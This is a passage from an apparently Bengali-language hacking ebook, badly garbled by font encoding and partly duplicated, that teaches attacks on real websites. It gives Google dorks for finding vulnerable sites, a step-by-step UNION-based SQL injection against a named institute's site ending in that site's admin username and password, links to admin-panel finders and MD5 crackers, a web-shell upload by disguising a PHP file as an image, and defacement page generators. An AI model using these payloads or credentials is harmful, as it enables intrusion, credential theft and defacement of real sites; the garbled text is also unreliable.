এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 58: Hacking Bangla eBook

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 59: Hacking Bangla eBook

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

